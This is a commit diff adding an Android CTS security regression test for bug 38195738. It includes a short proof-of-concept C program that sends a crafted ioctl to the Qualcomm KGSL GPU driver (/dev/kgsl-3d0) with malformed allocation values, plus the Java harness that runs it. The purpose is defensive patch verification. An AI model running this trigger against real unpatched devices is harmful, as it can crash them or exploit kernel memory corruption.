CTS test for Android Security b/72334263 b/38195738 b/36590192

Test: successful run of newly introduced CTS test case.
Bug:72334263
Bug:38195738
Bug:36590192
Change-Id: Ic221e14e5dcfe086f339d0866a53495b2b3debd5
diff --git a/hostsidetests/security/AndroidTest.xml b/hostsidetests/security/AndroidTest.xml
index 93b9a54..2581038 100755
--- a/hostsidetests/security/AndroidTest.xml
+++ b/hostsidetests/security/AndroidTest.xml
@@ -102,6 +102,7 @@
         <!--__________________-->
         <!-- Bulletin 2017-09 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="Bug-38195738->/data/local/tmp/Bug-38195738" />
         <option name="push" value="CVE-2017-0770->/data/local/tmp/CVE-2017-0770" />
 
         <!--__________________-->
diff --git a/hostsidetests/security/securityPatch/Bug-38195738/Android.mk b/hostsidetests/security/securityPatch/Bug-38195738/Android.mk
new file mode 100644
index 0000000..59c703b
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-38195738/Android.mk
@@ -0,0 +1,30 @@
+#Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-38195738
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_COMPATIBILITY_SUITE := cts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS = -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-38195738/poc.c b/hostsidetests/security/securityPatch/Bug-38195738/poc.c
new file mode 100644
index 0000000..973c708
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-38195738/poc.c
@@ -0,0 +1,39 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <unistd.h>
+#include <stdint.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <sys/syscall.h>
+#include <fcntl.h>
+
+#define IOCTL_KGSL_GPUMEM_ALLOC 0xc018092ful
+int main() {
+  int fd = open("/dev/kgsl-3d0", 0);
+  mmap((void *)0x20000000ul, 0xd000ul, PROT_READ | PROT_WRITE,
+       MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
+
+  *(uint64_t *)0x20000ff0 = (uint64_t)0xfffffffffffff416;
+  *(uint32_t *)0x20000ff8 = (uint32_t)0x80;
+  *(uint32_t *)0x20000ffc = (uint32_t)0x8000;
+  *(uint32_t *)0x20001000 = (uint32_t)0x12345678;
+  ioctl(fd, 0xc018092ful, 0x20000ff0ul);
+  close(fd);
+  return 0;
+}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_09.java b/hostsidetests/security/src/android/security/cts/Poc17_09.java
index 91ae8a9..981a253 100644
--- a/hostsidetests/security/src/android/security/cts/Poc17_09.java
+++ b/hostsidetests/security/src/android/security/cts/Poc17_09.java
@@ -65,4 +65,15 @@
                                       , getDevice()
                                       )==139);
     }
- }
+
+  /**
+   * b/38195738
+   * b/36590192
+   */
+  @SecurityTest
+  public void testPocBug_38195738() throws Exception {
+    if(containsDriver(getDevice(), "/dev/kgsl-3d0")) {
+      AdbUtils.runPocNoOutput("Bug-38195738", getDevice(), 60);
+    }
+  }
+}